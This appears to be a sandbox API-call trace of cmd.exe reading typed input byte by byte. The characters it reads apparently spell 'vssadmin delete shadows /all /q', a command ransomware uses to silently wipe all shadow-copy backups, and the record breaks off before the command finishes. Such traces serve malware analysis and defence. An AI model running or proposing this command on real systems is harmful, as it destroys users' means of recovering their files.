	[0248.068] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0
	[0248.069] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0248.069] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4acbe194 | out: lpMode=0x4acbe194) returned 0
	[0248.069] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.069] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4acbe198 | out: lpMode=0x4acbe198) returned 0
	[0248.069] GetConsoleOutputCP () returned 0x4e3
	[0248.069] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4accbfe0 | out: lpCPInfo=0x4accbfe0) returned 1
	[0248.070] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0248.070] GetProcessHeap () returned 0x220000
	[0248.070] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x239d80 | out: hHeap=0x220000) returned 1
	[0248.070] GetProcessHeap () returned 0x220000
	[0248.070] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x239c60 | out: hHeap=0x220000) returned 1
	[0248.070] GetProcessHeap () returned 0x220000
	[0248.070] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235bb0 | out: hHeap=0x220000) returned 1
	[0248.070] GetProcessHeap () returned 0x220000
	[0248.070] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23b310 | out: hHeap=0x220000) returned 1
	[0248.070] GetProcessHeap () returned 0x220000
	[0248.070] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x239900 | out: hHeap=0x220000) returned 1
	[0248.070] GetProcessHeap () returned 0x220000
	[0248.070] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23aae0 | out: hHeap=0x220000) returned 1
	[0248.070] GetProcessHeap () returned 0x220000
	[0248.070] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x236550 | out: hHeap=0x220000) returned 1
	[0248.070] GetProcessHeap () returned 0x220000
	[0248.070] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x234630 | out: hHeap=0x220000) returned 1
	[0248.070] GetProcessHeap () returned 0x220000
	[0248.070] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x239840 | out: hHeap=0x220000) returned 1
	[0248.070] _vsnwprintf (in: _Buffer=0x4acd6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x12f1b8 | out: _Buffer="\r\n") returned 2
	[0248.070] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0248.071] GetFileType (hFile=0xf4) returned 0x3
	[0248.071] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0248.071] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4accc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0248.071] WriteFile (in: hFile=0xf4, lpBuffer=0x4accc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x12f188, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesWritten=0x12f188*=0x2, lpOverlapped=0x0) returned 1
	[0248.071] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4acbf360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0248.071] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4accc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0248.071] _vsnwprintf (in: _Buffer=0x4acbeb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x12f1c8 | out: _Buffer="C:\\Windows\\system32") returned 19
	[0248.071] _vsnwprintf (in: _Buffer=0x4acbeb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x12f1c8 | out: _Buffer=">") returned 1
	[0248.071] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0248.071] GetFileType (hFile=0xf4) returned 0x3
	[0248.071] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0248.071] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x4accc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21
	[0248.071] WriteFile (in: hFile=0xf4, lpBuffer=0x4accc320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x12f1b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesWritten=0x12f1b8*=0x14, lpOverlapped=0x0) returned 1
	[0248.071] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.071] GetFileType (hFile=0xe8) returned 0x3
	[0248.071] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.071] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.071] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.071] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce320, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1
	[0248.071] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.071] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.071] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.071] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce322, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1
	[0248.071] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.071] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.072] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.072] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce324, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1
	[0248.072] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.072] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.072] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.072] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce326, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1
	[0248.072] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.072] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.072] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.072] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce328, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1
	[0248.072] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.072] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.072] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.072] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce32a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1
	[0248.072] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.072] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.072] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.072] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce32c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1
	[0248.072] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.072] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.072] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.072] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce32e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1
	[0248.072] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.072] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.072] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.072] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce330, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1
	[0248.072] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.072] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.072] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.072] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce332, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1
	[0248.072] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.072] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.072] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.072] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce334, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1
	[0248.072] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.072] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.072] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.072] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce336, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1
	[0248.072] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.072] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.072] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.073] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce338, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1
	[0248.073] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.073] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.073] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.073] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce33a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1
	[0248.073] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.073] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.073] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.073] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce33c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1
	[0248.073] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.073] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.073] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.073] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce33e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1
	[0248.073] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.073] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.073] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.073] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce340, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1
	[0248.073] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.073] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.073] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.073] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce342, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1
	[0248.073] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.073] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.073] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.073] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce344, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1
	[0248.073] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.073] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.073] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.073] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce346, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1
	[0248.073] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.073] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.073] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.073] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce348, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1
	[0248.073] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.073] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.073] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.073] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce34a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1
	[0248.073] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.073] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.073] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.074] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce34c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1
	[0248.074] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.074] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.074] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.074] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0248.074] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.074] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.074] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.074] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce350, cchWideChar=1 | out: lpWideCharStr="/") returned 1
	[0248.074] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.074] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.074] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.074] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce352, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0248.074] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.074] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.074] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.074] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce354, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0248.074] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.074] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.074] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.074] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce356, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0248.074] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.074] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.074] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.074] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0248.074] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.074] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.074] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.074] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1
	[0248.074] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.074] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.074] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.074] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1
	[0248.074] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.074] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
